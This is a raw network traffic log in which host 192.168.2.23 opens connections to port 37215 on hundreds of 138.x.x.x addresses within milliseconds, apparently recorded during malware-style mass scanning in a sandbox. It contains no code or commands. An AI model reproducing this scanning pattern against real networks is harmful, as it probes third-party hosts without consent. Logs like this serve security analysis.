Feb 20, 2022 15:51:02.841486931 CET	1386	37215	192.168.2.23	138.135.129.151
Feb 20, 2022 15:51:02.841507912 CET	1386	37215	192.168.2.23	138.16.99.188
Feb 20, 2022 15:51:02.841533899 CET	1386	37215	192.168.2.23	138.226.10.242
Feb 20, 2022 15:51:02.841576099 CET	1386	37215	192.168.2.23	138.175.120.112
Feb 20, 2022 15:51:02.841582060 CET	1386	37215	192.168.2.23	138.38.13.234
Feb 20, 2022 15:51:02.841624975 CET	1386	37215	192.168.2.23	138.98.93.106
Feb 20, 2022 15:51:02.841671944 CET	1386	37215	192.168.2.23	138.32.240.15
Feb 20, 2022 15:51:02.841676950 CET	1386	37215	192.168.2.23	138.15.255.24
Feb 20, 2022 15:51:02.841694117 CET	1386	37215	192.168.2.23	138.154.167.120
Feb 20, 2022 15:51:02.841721058 CET	1386	37215	192.168.2.23	138.144.41.160
Feb 20, 2022 15:51:02.841723919 CET	1386	37215	192.168.2.23	138.161.216.241
Feb 20, 2022 15:51:02.841763020 CET	1386	37215	192.168.2.23	138.69.35.24
Feb 20, 2022 15:51:02.841787100 CET	1386	37215	192.168.2.23	138.127.82.205
Feb 20, 2022 15:51:02.841828108 CET	1386	37215	192.168.2.23	138.233.106.60
Feb 20, 2022 15:51:02.841831923 CET	1386	37215	192.168.2.23	138.131.237.14
Feb 20, 2022 15:51:02.841880083 CET	1386	37215	192.168.2.23	138.249.151.167
Feb 20, 2022 15:51:02.841896057 CET	1386	37215	192.168.2.23	138.103.226.174
Feb 20, 2022 15:51:02.841922045 CET	1386	37215	192.168.2.23	138.252.93.100
Feb 20, 2022 15:51:02.841943026 CET	1386	37215	192.168.2.23	138.60.232.121
Feb 20, 2022 15:51:02.841953039 CET	1386	37215	192.168.2.23	138.232.96.109
Feb 20, 2022 15:51:02.841986895 CET	1386	37215	192.168.2.23	138.77.193.77
Feb 20, 2022 15:51:02.842000961 CET	1386	37215	192.168.2.23	138.49.9.251
Feb 20, 2022 15:51:02.842044115 CET	1386	37215	192.168.2.23	138.2.164.86
Feb 20, 2022 15:51:02.842047930 CET	1386	37215	192.168.2.23	138.147.79.217
Feb 20, 2022 15:51:02.842073917 CET	1386	37215	192.168.2.23	138.106.70.113
Feb 20, 2022 15:51:02.842099905 CET	1386	37215	192.168.2.23	138.156.63.65
Feb 20, 2022 15:51:02.842119932 CET	1386	37215	192.168.2.23	138.233.74.121
Feb 20, 2022 15:51:02.842160940 CET	1386	37215	192.168.2.23	138.127.1.205
Feb 20, 2022 15:51:02.842191935 CET	1386	37215	192.168.2.23	138.98.250.78
Feb 20, 2022 15:51:02.842206955 CET	1386	37215	192.168.2.23	138.112.227.3
Feb 20, 2022 15:51:02.842236042 CET	1386	37215	192.168.2.23	138.159.240.23
Feb 20, 2022 15:51:02.842269897 CET	1386	37215	192.168.2.23	138.226.44.23
Feb 20, 2022 15:51:02.842273951 CET	1386	37215	192.168.2.23	138.240.131.49
Feb 20, 2022 15:51:02.842313051 CET	1386	37215	192.168.2.23	138.230.21.221
Feb 20, 2022 15:51:02.842327118 CET	1386	37215	192.168.2.23	138.115.28.50
Feb 20, 2022 15:51:02.842363119 CET	1386	37215	192.168.2.23	138.172.92.229
Feb 20, 2022 15:51:02.842375994 CET	1386	37215	192.168.2.23	138.137.28.147
Feb 20, 2022 15:51:02.842418909 CET	1386	37215	192.168.2.23	138.22.157.64
Feb 20, 2022 15:51:02.842449903 CET	1386	37215	192.168.2.23	138.130.93.36
Feb 20, 2022 15:51:02.842470884 CET	1386	37215	192.168.2.23	138.36.14.145
Feb 20, 2022 15:51:02.842479944 CET	1386	37215	192.168.2.23	138.43.0.193
Feb 20, 2022 15:51:02.842506886 CET	1386	37215	192.168.2.23	138.248.139.112
Feb 20, 2022 15:51:02.842530012 CET	1386	37215	192.168.2.23	138.196.254.247
Feb 20, 2022 15:51:02.842576027 CET	1386	37215	192.168.2.23	138.42.236.31
Feb 20, 2022 15:51:02.842581987 CET	1386	37215	192.168.2.23	138.64.89.13
Feb 20, 2022 15:51:02.842591047 CET	1386	37215	192.168.2.23	138.131.191.51
Feb 20, 2022 15:51:02.842624903 CET	1386	37215	192.168.2.23	138.156.81.219
Feb 20, 2022 15:51:02.842653990 CET	1386	37215	192.168.2.23	138.23.198.255
Feb 20, 2022 15:51:02.842675924 CET	1386	37215	192.168.2.23	138.147.186.130
Feb 20, 2022 15:51:02.842725992 CET	1386	37215	192.168.2.23	138.115.72.10
Feb 20, 2022 15:51:02.842726946 CET	1386	37215	192.168.2.23	138.137.113.64
Feb 20, 2022 15:51:02.842773914 CET	1386	37215	192.168.2.23	138.124.20.204
Feb 20, 2022 15:51:02.842780113 CET	1386	37215	192.168.2.23	138.133.137.4
Feb 20, 2022 15:51:02.842799902 CET	1386	37215	192.168.2.23	138.190.223.126
Feb 20, 2022 15:51:02.842823982 CET	1386	37215	192.168.2.23	138.225.79.40
Feb 20, 2022 15:51:02.842861891 CET	1386	37215	192.168.2.23	138.46.245.55
Feb 20, 2022 15:51:02.842885971 CET	1386	37215	192.168.2.23	138.56.153.161
Feb 20, 2022 15:51:02.842905998 CET	1386	37215	192.168.2.23	138.166.107.109
Feb 20, 2022 15:51:02.842922926 CET	1386	37215	192.168.2.23	138.114.232.149
Feb 20, 2022 15:51:02.842962980 CET	1386	37215	192.168.2.23	138.80.218.254
Feb 20, 2022 15:51:02.842974901 CET	1386	37215	192.168.2.23	138.197.60.45
Feb 20, 2022 15:51:02.843003035 CET	1386	37215	192.168.2.23	138.214.219.117
Feb 20, 2022 15:51:02.843050003 CET	1386	37215	192.168.2.23	138.231.251.252
Feb 20, 2022 15:51:02.843054056 CET	1386	37215	192.168.2.23	138.162.154.119
Feb 20, 2022 15:51:02.843101025 CET	1386	37215	192.168.2.23	138.189.85.245
Feb 20, 2022 15:51:02.843105078 CET	1386	37215	192.168.2.23	138.26.9.65
Feb 20, 2022 15:51:02.843126059 CET	1386	37215	192.168.2.23	138.223.146.237
Feb 20, 2022 15:51:02.843149900 CET	1386	37215	192.168.2.23	138.159.11.41
Feb 20, 2022 15:51:02.843178988 CET	1386	37215	192.168.2.23	138.252.40.184
Feb 20, 2022 15:51:02.843204021 CET	1386	37215	192.168.2.23	138.64.201.235
Feb 20, 2022 15:51:02.843244076 CET	1386	37215	192.168.2.23	138.82.195.31
Feb 20, 2022 15:51:02.843262911 CET	1386	37215	192.168.2.23	138.209.57.117
Feb 20, 2022 15:51:02.843280077 CET	1386	37215	192.168.2.23	138.145.79.51
Feb 20, 2022 15:51:02.843300104 CET	1386	37215	192.168.2.23	138.133.156.252
Feb 20, 2022 15:51:02.843329906 CET	1386	37215	192.168.2.23	138.79.131.121
Feb 20, 2022 15:51:02.843369961 CET	1386	37215	192.168.2.23	138.91.160.160
Feb 20, 2022 15:51:02.843378067 CET	1386	37215	192.168.2.23	138.128.231.161
Feb 20, 2022 15:51:02.843410015 CET	1386	37215	192.168.2.23	138.32.70.253
Feb 20, 2022 15:51:02.843460083 CET	1386	37215	192.168.2.23	138.151.116.44
Feb 20, 2022 15:51:02.843463898 CET	1386	37215	192.168.2.23	138.66.24.106
Feb 20, 2022 15:51:02.843487024 CET	1386	37215	192.168.2.23	138.30.203.95
Feb 20, 2022 15:51:02.843518972 CET	1386	37215	192.168.2.23	138.245.79.240
Feb 20, 2022 15:51:02.843548059 CET	1386	37215	192.168.2.23	138.214.170.239
Feb 20, 2022 15:51:02.843578100 CET	1386	37215	192.168.2.23	138.251.32.104
Feb 20, 2022 15:51:02.843585014 CET	1386	37215	192.168.2.23	138.82.247.39
Feb 20, 2022 15:51:02.843605042 CET	1386	37215	192.168.2.23	138.169.231.244
Feb 20, 2022 15:51:02.843653917 CET	1386	37215	192.168.2.23	138.193.176.48
Feb 20, 2022 15:51:02.843655109 CET	1386	37215	192.168.2.23	138.75.223.173
Feb 20, 2022 15:51:02.843707085 CET	1386	37215	192.168.2.23	138.148.96.5
Feb 20, 2022 15:51:02.843733072 CET	1386	37215	192.168.2.23	138.202.208.250
Feb 20, 2022 15:51:02.843739986 CET	1386	37215	192.168.2.23	138.115.174.195
Feb 20, 2022 15:51:02.843760014 CET	1386	37215	192.168.2.23	138.47.33.26
Feb 20, 2022 15:51:02.843785048 CET	1386	37215	192.168.2.23	138.100.68.175
Feb 20, 2022 15:51:02.843808889 CET	1386	37215	192.168.2.23	138.6.49.172
Feb 20, 2022 15:51:02.843831062 CET	1386	37215	192.168.2.23	138.195.214.52
Feb 20, 2022 15:51:02.843879938 CET	1386	37215	192.168.2.23	138.146.77.149
Feb 20, 2022 15:51:02.843903065 CET	1386	37215	192.168.2.23	138.231.210.121
Feb 20, 2022 15:51:02.843909025 CET	1386	37215	192.168.2.23	138.20.65.143
Feb 20, 2022 15:51:02.843930006 CET	1386	37215	192.168.2.23	138.52.214.108
Feb 20, 2022 15:51:02.843961954 CET	1386	37215	192.168.2.23	138.75.82.167
Feb 20, 2022 15:51:02.843976974 CET	1386	37215	192.168.2.23	138.178.132.117
Feb 20, 2022 15:51:02.843981028 CET	37215	1898	138.40.128.183	192.168.2.23
Feb 20, 2022 15:51:02.844005108 CET	1386	37215	192.168.2.23	138.45.154.197
Feb 20, 2022 15:51:02.844043016 CET	1386	37215	192.168.2.23	138.249.143.65
Feb 20, 2022 15:51:02.844072104 CET	1386	37215	192.168.2.23	138.182.197.184
Feb 20, 2022 15:51:02.844075918 CET	1898	37215	192.168.2.23	138.40.128.183
Feb 20, 2022 15:51:02.844110966 CET	1386	37215	192.168.2.23	138.35.193.200
Feb 20, 2022 15:51:02.844132900 CET	1386	37215	192.168.2.23	138.29.144.243
Feb 20, 2022 15:51:02.844161987 CET	1386	37215	192.168.2.23	138.3.194.174
Feb 20, 2022 15:51:02.844163895 CET	1386	37215	192.168.2.23	138.200.49.4
Feb 20, 2022 15:51:02.844189882 CET	1386	37215	192.168.2.23	138.232.126.150
Feb 20, 2022 15:51:02.844234943 CET	1386	37215	192.168.2.23	138.102.94.152
Feb 20, 2022 15:51:02.844249010 CET	1386	37215	192.168.2.23	138.32.32.220
Feb 20, 2022 15:51:02.844278097 CET	1386	37215	192.168.2.23	138.81.242.92
Feb 20, 2022 15:51:02.844309092 CET	1386	37215	192.168.2.23	138.78.10.149
Feb 20, 2022 15:51:02.844316006 CET	1386	37215	192.168.2.23	138.201.248.255
Feb 20, 2022 15:51:02.844336033 CET	1386	37215	192.168.2.23	138.150.33.163
Feb 20, 2022 15:51:02.844363928 CET	1386	37215	192.168.2.23	138.27.251.241
Feb 20, 2022 15:51:02.844404936 CET	1386	37215	192.168.2.23	138.93.83.140
Feb 20, 2022 15:51:02.844404936 CET	1386	37215	192.168.2.23	138.89.84.141
Feb 20, 2022 15:51:02.844436884 CET	1386	37215	192.168.2.23	138.142.236.245
Feb 20, 2022 15:51:02.844477892 CET	1386	37215	192.168.2.23	138.110.73.27
Feb 20, 2022 15:51:02.844481945 CET	1386	37215	192.168.2.23	138.84.123.153
Feb 20, 2022 15:51:02.844530106 CET	1386	37215	192.168.2.23	138.146.74.138
Feb 20, 2022 15:51:02.844561100 CET	1386	37215	192.168.2.23	138.9.138.30
Feb 20, 2022 15:51:02.844592094 CET	1386	37215	192.168.2.23	138.4.152.5
Feb 20, 2022 15:51:02.844603062 CET	1386	37215	192.168.2.23	138.148.94.192
Feb 20, 2022 15:51:02.844609976 CET	1386	37215	192.168.2.23	138.178.224.102
Feb 20, 2022 15:51:02.844675064 CET	1386	37215	192.168.2.23	138.24.203.28
Feb 20, 2022 15:51:02.844677925 CET	1386	37215	192.168.2.23	138.95.249.48
Feb 20, 2022 15:51:02.844722033 CET	1386	37215	192.168.2.23	138.37.38.65
Feb 20, 2022 15:51:02.844747066 CET	1386	37215	192.168.2.23	138.115.203.47
Feb 20, 2022 15:51:02.844754934 CET	1386	37215	192.168.2.23	138.77.169.96
Feb 20, 2022 15:51:02.844755888 CET	1386	37215	192.168.2.23	138.13.91.42
Feb 20, 2022 15:51:02.844774008 CET	1386	37215	192.168.2.23	138.120.117.3
Feb 20, 2022 15:51:02.844834089 CET	1386	37215	192.168.2.23	138.138.74.74
Feb 20, 2022 15:51:02.844847918 CET	1386	37215	192.168.2.23	138.208.223.197
Feb 20, 2022 15:51:02.844861984 CET	1386	37215	192.168.2.23	138.173.109.31
Feb 20, 2022 15:51:02.844897032 CET	1386	37215	192.168.2.23	138.117.139.79
Feb 20, 2022 15:51:02.844898939 CET	1386	37215	192.168.2.23	138.90.176.122
Feb 20, 2022 15:51:02.844929934 CET	1386	37215	192.168.2.23	138.234.79.95
Feb 20, 2022 15:51:02.844968081 CET	1386	37215	192.168.2.23	138.42.27.130
Feb 20, 2022 15:51:02.844995022 CET	1386	37215	192.168.2.23	138.192.15.145
Feb 20, 2022 15:51:02.845021963 CET	1386	37215	192.168.2.23	138.88.25.237
Feb 20, 2022 15:51:02.845042944 CET	1386	37215	192.168.2.23	138.37.45.47
Feb 20, 2022 15:51:02.845074892 CET	1386	37215	192.168.2.23	138.245.52.44
Feb 20, 2022 15:51:02.845083952 CET	1386	37215	192.168.2.23	138.166.154.235
Feb 20, 2022 15:51:02.845091105 CET	1386	37215	192.168.2.23	138.142.86.236
Feb 20, 2022 15:51:02.845120907 CET	1386	37215	192.168.2.23	138.162.189.14
Feb 20, 2022 15:51:02.845165968 CET	1386	37215	192.168.2.23	138.186.21.238
Feb 20, 2022 15:51:02.845192909 CET	1386	37215	192.168.2.23	138.177.74.70
Feb 20, 2022 15:51:02.845211983 CET	1386	37215	192.168.2.23	138.246.103.240
Feb 20, 2022 15:51:02.845227003 CET	1386	37215	192.168.2.23	138.70.138.80
Feb 20, 2022 15:51:02.845241070 CET	1386	37215	192.168.2.23	138.230.124.21
Feb 20, 2022 15:51:02.845267057 CET	1386	37215	192.168.2.23	138.85.4.80
Feb 20, 2022 15:51:02.845310926 CET	1386	37215	192.168.2.23	138.74.80.208
Feb 20, 2022 15:51:02.845313072 CET	1386	37215	192.168.2.23	138.86.150.223
Feb 20, 2022 15:51:02.845335960 CET	1386	37215	192.168.2.23	138.47.83.204
Feb 20, 2022 15:51:02.845388889 CET	1386	37215	192.168.2.23	138.255.126.102
Feb 20, 2022 15:51:02.845438957 CET	1386	37215	192.168.2.23	138.139.41.1
Feb 20, 2022 15:51:02.845462084 CET	1386	37215	192.168.2.23	138.124.158.236
Feb 20, 2022 15:51:02.845465899 CET	1386	37215	192.168.2.23	138.75.32.76
Feb 20, 2022 15:51:02.845479012 CET	1386	37215	192.168.2.23	138.170.124.255
Feb 20, 2022 15:51:02.845530033 CET	1386	37215	192.168.2.23	138.149.224.170
Feb 20, 2022 15:51:02.845535040 CET	1386	37215	192.168.2.23	138.222.44.78
Feb 20, 2022 15:51:02.845540047 CET	1386	37215	192.168.2.23	138.106.156.232
Feb 20, 2022 15:51:02.845581055 CET	1386	37215	192.168.2.23	138.231.104.246
Feb 20, 2022 15:51:02.845582962 CET	1386	37215	192.168.2.23	138.93.183.103
Feb 20, 2022 15:51:02.845626116 CET	1386	37215	192.168.2.23	138.14.109.206
Feb 20, 2022 15:51:02.845650911 CET	1386	37215	192.168.2.23	138.78.236.98
Feb 20, 2022 15:51:02.845665932 CET	1386	37215	192.168.2.23	138.42.3.210
Feb 20, 2022 15:51:02.845685005 CET	1386	37215	192.168.2.23	138.197.226.170
Feb 20, 2022 15:51:02.845727921 CET	1386	37215	192.168.2.23	138.100.67.197
Feb 20, 2022 15:51:02.845731974 CET	1386	37215	192.168.2.23	138.92.18.142
Feb 20, 2022 15:51:02.845771074 CET	1386	37215	192.168.2.23	138.227.101.0
Feb 20, 2022 15:51:02.845781088 CET	1386	37215	192.168.2.23	138.177.152.45
Feb 20, 2022 15:51:02.845820904 CET	1386	37215	192.168.2.23	138.129.114.120
Feb 20, 2022 15:51:02.845854998 CET	1386	37215	192.168.2.23	138.225.241.89
Feb 20, 2022 15:51:02.845864058 CET	1386	37215	192.168.2.23	138.111.218.219
Feb 20, 2022 15:51:02.845873117 CET	1386	37215	192.168.2.23	138.145.18.198
Feb 20, 2022 15:51:02.845916033 CET	1386	37215	192.168.2.23	138.130.162.39
Feb 20, 2022 15:51:02.845952034 CET	1386	37215	192.168.2.23	138.100.103.82
Feb 20, 2022 15:51:02.845973015 CET	1386	37215	192.168.2.23	138.84.148.112
Feb 20, 2022 15:51:02.846007109 CET	1386	37215	192.168.2.23	138.187.89.82
Feb 20, 2022 15:51:02.846019030 CET	1386	37215	192.168.2.23	138.139.64.29
Feb 20, 2022 15:51:02.846040964 CET	1386	37215	192.168.2.23	138.194.188.13
Feb 20, 2022 15:51:02.846048117 CET	1386	37215	192.168.2.23	138.74.201.20
Feb 20, 2022 15:51:02.846096039 CET	1386	37215	192.168.2.23	138.26.131.232
Feb 20, 2022 15:51:02.846120119 CET	1386	37215	192.168.2.23	138.45.29.57
Feb 20, 2022 15:51:02.846138954 CET	1386	37215	192.168.2.23	138.48.228.20
Feb 20, 2022 15:51:02.846146107 CET	1386	37215	192.168.2.23	138.80.126.111
Feb 20, 2022 15:51:02.846170902 CET	1386	37215	192.168.2.23	138.151.27.147
Feb 20, 2022 15:51:02.846189022 CET	1386	37215	192.168.2.23	138.136.122.94
Feb 20, 2022 15:51:02.846218109 CET	1386	37215	192.168.2.23	138.115.211.218
Feb 20, 2022 15:51:02.846231937 CET	1386	37215	192.168.2.23	138.160.129.116
Feb 20, 2022 15:51:02.846283913 CET	1386	37215	192.168.2.23	138.230.50.106
Feb 20, 2022 15:51:02.846298933 CET	1386	37215	192.168.2.23	138.201.39.67
Feb 20, 2022 15:51:02.846333981 CET	1386	37215	192.168.2.23	138.187.213.67
Feb 20, 2022 15:51:02.846342087 CET	1386	37215	192.168.2.23	138.189.162.212
Feb 20, 2022 15:51:02.846362114 CET	1386	37215	192.168.2.23	138.57.70.194
Feb 20, 2022 15:51:02.846406937 CET	1386	37215	192.168.2.23	138.236.227.60
Feb 20, 2022 15:51:02.846419096 CET	1386	37215	192.168.2.23	138.81.42.195
Feb 20, 2022 15:51:02.846432924 CET	1386	37215	192.168.2.23	138.237.63.85
Feb 20, 2022 15:51:02.846494913 CET	1386	37215	192.168.2.23	138.11.149.97
Feb 20, 2022 15:51:02.846510887 CET	1386	37215	192.168.2.23	138.4.92.111
Feb 20, 2022 15:51:02.846535921 CET	1386	37215	192.168.2.23	138.53.35.15
Feb 20, 2022 15:51:02.846565008 CET	1386	37215	192.168.2.23	138.140.203.109
Feb 20, 2022 15:51:02.846585035 CET	1386	37215	192.168.2.23	138.210.251.241
Feb 20, 2022 15:51:02.846602917 CET	1386	37215	192.168.2.23	138.218.92.198
Feb 20, 2022 15:51:02.846615076 CET	1386	37215	192.168.2.23	138.7.74.20
Feb 20, 2022 15:51:02.846643925 CET	1386	37215	192.168.2.23	138.150.86.137
Feb 20, 2022 15:51:02.846664906 CET	1386	37215	192.168.2.23	138.195.122.208
Feb 20, 2022 15:51:02.846673965 CET	1386	37215	192.168.2.23	138.229.41.138
Feb 20, 2022 15:51:02.846689939 CET	1386	37215	192.168.2.23	138.172.13.74
Feb 20, 2022 15:51:02.846715927 CET	1386	37215	192.168.2.23	138.162.136.125
Feb 20, 2022 15:51:02.846731901 CET	1386	37215	192.168.2.23	138.168.198.191
Feb 20, 2022 15:51:02.846780062 CET	1386	37215	192.168.2.23	138.120.191.94
Feb 20, 2022 15:51:02.846827030 CET	1386	37215	192.168.2.23	138.163.209.14
Feb 20, 2022 15:51:02.846834898 CET	1386	37215	192.168.2.23	138.222.237.201
Feb 20, 2022 15:51:02.846857071 CET	1386	37215	192.168.2.23	138.162.123.8
Feb 20, 2022 15:51:02.846878052 CET	1386	37215	192.168.2.23	138.88.81.64
Feb 20, 2022 15:51:02.846899033 CET	1386	37215	192.168.2.23	138.59.190.119
Feb 20, 2022 15:51:02.846911907 CET	1386	37215	192.168.2.23	138.226.148.170
Feb 20, 2022 15:51:02.846920013 CET	1386	37215	192.168.2.23	138.144.140.62
Feb 20, 2022 15:51:02.846961021 CET	1386	37215	192.168.2.23	138.55.191.117
Feb 20, 2022 15:51:02.846963882 CET	1386	37215	192.168.2.23	138.16.78.109
Feb 20, 2022 15:51:02.846976995 CET	1386	37215	192.168.2.23	138.225.89.230
Feb 20, 2022 15:51:02.847018957 CET	1386	37215	192.168.2.23	138.141.42.4
Feb 20, 2022 15:51:02.847026110 CET	1386	37215	192.168.2.23	138.184.241.182
Feb 20, 2022 15:51:02.847043991 CET	1386	37215	192.168.2.23	138.26.38.106
Feb 20, 2022 15:51:02.847079992 CET	1386	37215	192.168.2.23	138.111.42.170
Feb 20, 2022 15:51:02.847084999 CET	1386	37215	192.168.2.23	138.168.184.124
Feb 20, 2022 15:51:02.847100019 CET	1386	37215	192.168.2.23	138.44.1.40
Feb 20, 2022 15:51:02.847120047 CET	1386	37215	192.168.2.23	138.192.150.43
Feb 20, 2022 15:51:02.847177029 CET	1386	37215	192.168.2.23	138.13.33.43
Feb 20, 2022 15:51:02.847189903 CET	1386	37215	192.168.2.23	138.181.231.136
Feb 20, 2022 15:51:02.847198009 CET	1386	37215	192.168.2.23	138.16.194.31
Feb 20, 2022 15:51:02.847213984 CET	1386	37215	192.168.2.23	138.133.153.204
Feb 20, 2022 15:51:02.847233057 CET	1386	37215	192.168.2.23	138.182.138.189
Feb 20, 2022 15:51:02.847239017 CET	1386	37215	192.168.2.23	138.135.177.225
Feb 20, 2022 15:51:02.847289085 CET	1386	37215	192.168.2.23	138.70.105.40
Feb 20, 2022 15:51:02.847300053 CET	1386	37215	192.168.2.23	138.179.84.188
Feb 20, 2022 15:51:02.847307920 CET	1386	37215	192.168.2.23	138.17.246.90
Feb 20, 2022 15:51:02.847338915 CET	1386	37215	192.168.2.23	138.237.183.144
Feb 20, 2022 15:51:02.847357035 CET	1386	37215	192.168.2.23	138.99.174.3
Feb 20, 2022 15:51:02.847366095 CET	1386	37215	192.168.2.23	138.198.109.11
Feb 20, 2022 15:51:02.847399950 CET	1386	37215	192.168.2.23	138.213.162.61
Feb 20, 2022 15:51:02.847421885 CET	1386	37215	192.168.2.23	138.181.114.99
Feb 20, 2022 15:51:02.847436905 CET	1386	37215	192.168.2.23	138.42.39.159
Feb 20, 2022 15:51:02.847460032 CET	1386	37215	192.168.2.23	138.134.248.5
Feb 20, 2022 15:51:02.847469091 CET	1386	37215	192.168.2.23	138.71.85.173
Feb 20, 2022 15:51:02.847512007 CET	1386	37215	192.168.2.23	138.152.30.134
Feb 20, 2022 15:51:02.847523928 CET	1386	37215	192.168.2.23	138.80.160.14
Feb 20, 2022 15:51:02.847544909 CET	1386	37215	192.168.2.23	138.174.207.105
Feb 20, 2022 15:51:02.847569942 CET	1386	37215	192.168.2.23	138.1.129.137
Feb 20, 2022 15:51:02.847579002 CET	1386	37215	192.168.2.23	138.118.141.147
Feb 20, 2022 15:51:02.847609043 CET	1386	37215	192.168.2.23	138.124.192.224
Feb 20, 2022 15:51:02.847615004 CET	1386	37215	192.168.2.23	138.3.222.144
Feb 20, 2022 15:51:02.847647905 CET	1386	37215	192.168.2.23	138.182.250.106
Feb 20, 2022 15:51:02.847656012 CET	1386	37215	192.168.2.23	138.241.174.135
Feb 20, 2022 15:51:02.847692966 CET	1386	37215	192.168.2.23	138.60.21.207
Feb 20, 2022 15:51:02.847697020 CET	1386	37215	192.168.2.23	138.59.5.5
Feb 20, 2022 15:51:02.847726107 CET	1386	37215	192.168.2.23	138.225.127.136
Feb 20, 2022 15:51:02.847749949 CET	1386	37215	192.168.2.23	138.47.79.154
Feb 20, 2022 15:51:02.847769976 CET	1386	37215	192.168.2.23	138.56.106.28
Feb 20, 2022 15:51:02.847776890 CET	1386	37215	192.168.2.23	138.210.38.247
Feb 20, 2022 15:51:02.847796917 CET	1386	37215	192.168.2.23	138.249.207.179
Feb 20, 2022 15:51:02.847815990 CET	1386	37215	192.168.2.23	138.86.139.224
Feb 20, 2022 15:51:02.847852945 CET	1386	37215	192.168.2.23	138.149.50.168
Feb 20, 2022 15:51:02.847853899 CET	1386	37215	192.168.2.23	138.206.120.233
Feb 20, 2022 15:51:02.847879887 CET	1386	37215	192.168.2.23	138.88.51.99
Feb 20, 2022 15:51:02.847893953 CET	1386	37215	192.168.2.23	138.231.250.233
Feb 20, 2022 15:51:02.847917080 CET	1386	37215	192.168.2.23	138.92.179.249
Feb 20, 2022 15:51:02.847930908 CET	1386	37215	192.168.2.23	138.243.53.227
Feb 20, 2022 15:51:02.847953081 CET	1386	37215	192.168.2.23	138.73.137.111
Feb 20, 2022 15:51:02.847975016 CET	1386	37215	192.168.2.23	138.129.216.170
Feb 20, 2022 15:51:02.848000050 CET	1386	37215	192.168.2.23	138.133.61.69
Feb 20, 2022 15:51:02.848036051 CET	1386	37215	192.168.2.23	138.125.76.42
Feb 20, 2022 15:51:02.848042011 CET	1386	37215	192.168.2.23	138.164.203.53
Feb 20, 2022 15:51:02.848081112 CET	1386	37215	192.168.2.23	138.194.15.242
Feb 20, 2022 15:51:02.848095894 CET	1386	37215	192.168.2.23	138.52.132.130
Feb 20, 2022 15:51:02.848098040 CET	1386	37215	192.168.2.23	138.49.57.175
Feb 20, 2022 15:51:02.848119020 CET	1386	37215	192.168.2.23	138.100.62.187
Feb 20, 2022 15:51:02.848143101 CET	1386	37215	192.168.2.23	138.42.86.86
Feb 20, 2022 15:51:02.848179102 CET	1386	37215	192.168.2.23	138.23.206.91
Feb 20, 2022 15:51:02.848195076 CET	1386	37215	192.168.2.23	138.187.102.238
Feb 20, 2022 15:51:02.848206043 CET	1386	37215	192.168.2.23	138.239.139.13
Feb 20, 2022 15:51:02.848242044 CET	1386	37215	192.168.2.23	138.167.236.217
Feb 20, 2022 15:51:02.848264933 CET	1386	37215	192.168.2.23	138.219.31.9
Feb 20, 2022 15:51:02.848277092 CET	1386	37215	192.168.2.23	138.218.38.237
Feb 20, 2022 15:51:02.848282099 CET	1386	37215	192.168.2.23	138.30.225.172
Feb 20, 2022 15:51:02.848303080 CET	1386	37215	192.168.2.23	138.134.58.98
Feb 20, 2022 15:51:02.848319054 CET	1386	37215	192.168.2.23	138.31.0.4
Feb 20, 2022 15:51:02.848361015 CET	1386	37215	192.168.2.23	138.34.33.185
Feb 20, 2022 15:51:02.848361015 CET	1386	37215	192.168.2.23	138.33.192.129
Feb 20, 2022 15:51:02.848383904 CET	1386	37215	192.168.2.23	138.51.92.205
Feb 20, 2022 15:51:02.848411083 CET	1386	37215	192.168.2.23	138.162.134.28
Feb 20, 2022 15:51:02.848443031 CET	1386	37215	192.168.2.23	138.8.77.216
Feb 20, 2022 15:51:02.848450899 CET	1386	37215	192.168.2.23	138.190.1.102
Feb 20, 2022 15:51:02.848464966 CET	1386	37215	192.168.2.23	138.253.15.33
Feb 20, 2022 15:51:02.848490000 CET	1386	37215	192.168.2.23	138.32.74.251
Feb 20, 2022 15:51:02.848505974 CET	1386	37215	192.168.2.23	138.223.86.191
Feb 20, 2022 15:51:02.848540068 CET	1386	37215	192.168.2.23	138.253.24.44
Feb 20, 2022 15:51:02.848565102 CET	1386	37215	192.168.2.23	138.200.223.1
Feb 20, 2022 15:51:02.848592043 CET	1386	37215	192.168.2.23	138.98.198.29
Feb 20, 2022 15:51:02.848593950 CET	1386	37215	192.168.2.23	138.86.1.139
Feb 20, 2022 15:51:02.848607063 CET	1386	37215	192.168.2.23	138.215.43.36
Feb 20, 2022 15:51:02.848629951 CET	1386	37215	192.168.2.23	138.198.59.20
Feb 20, 2022 15:51:02.848676920 CET	1386	37215	192.168.2.23	138.152.67.230
Feb 20, 2022 15:51:02.848689079 CET	1386	37215	192.168.2.23	138.175.73.60
Feb 20, 2022 15:51:02.848695993 CET	1386	37215	192.168.2.23	138.136.170.38
Feb 20, 2022 15:51:02.848716021 CET	1386	37215	192.168.2.23	138.141.247.195
Feb 20, 2022 15:51:02.848730087 CET	1386	37215	192.168.2.23	138.227.124.254
Feb 20, 2022 15:51:02.848762035 CET	1386	37215	192.168.2.23	138.166.206.136
Feb 20, 2022 15:51:02.848769903 CET	1386	37215	192.168.2.23	138.121.255.32
Feb 20, 2022 15:51:02.848803043 CET	1386	37215	192.168.2.23	138.253.13.151
Feb 20, 2022 15:51:02.848829985 CET	1386	37215	192.168.2.23	138.69.182.124
Feb 20, 2022 15:51:02.848855972 CET	1386	37215	192.168.2.23	138.158.131.103
Feb 20, 2022 15:51:02.848865032 CET	1386	37215	192.168.2.23	138.243.28.199
Feb 20, 2022 15:51:02.848870993 CET	1386	37215	192.168.2.23	138.46.3.254
Feb 20, 2022 15:51:02.848895073 CET	1386	37215	192.168.2.23	138.59.118.239
Feb 20, 2022 15:51:02.848931074 CET	1386	37215	192.168.2.23	138.211.147.191
Feb 20, 2022 15:51:02.848933935 CET	1386	37215	192.168.2.23	138.26.132.140
Feb 20, 2022 15:51:02.848958969 CET	1386	37215	192.168.2.23	138.238.0.252
Feb 20, 2022 15:51:02.848983049 CET	1386	37215	192.168.2.23	138.103.34.57
Feb 20, 2022 15:51:02.848994017 CET	1386	37215	192.168.2.23	138.245.20.99
Feb 20, 2022 15:51:02.849035978 CET	1386	37215	192.168.2.23	138.232.84.151
Feb 20, 2022 15:51:02.849060059 CET	1386	37215	192.168.2.23	138.215.207.17
Feb 20, 2022 15:51:02.849075079 CET	1386	37215	192.168.2.23	138.127.237.30
Feb 20, 2022 15:51:02.849092007 CET	1386	37215	192.168.2.23	138.86.151.3
Feb 20, 2022 15:51:02.849101067 CET	1386	37215	192.168.2.23	138.86.27.65
Feb 20, 2022 15:51:02.849118948 CET	1386	37215	192.168.2.23	138.254.33.110
Feb 20, 2022 15:51:02.849133015 CET	1386	37215	192.168.2.23	138.217.59.200
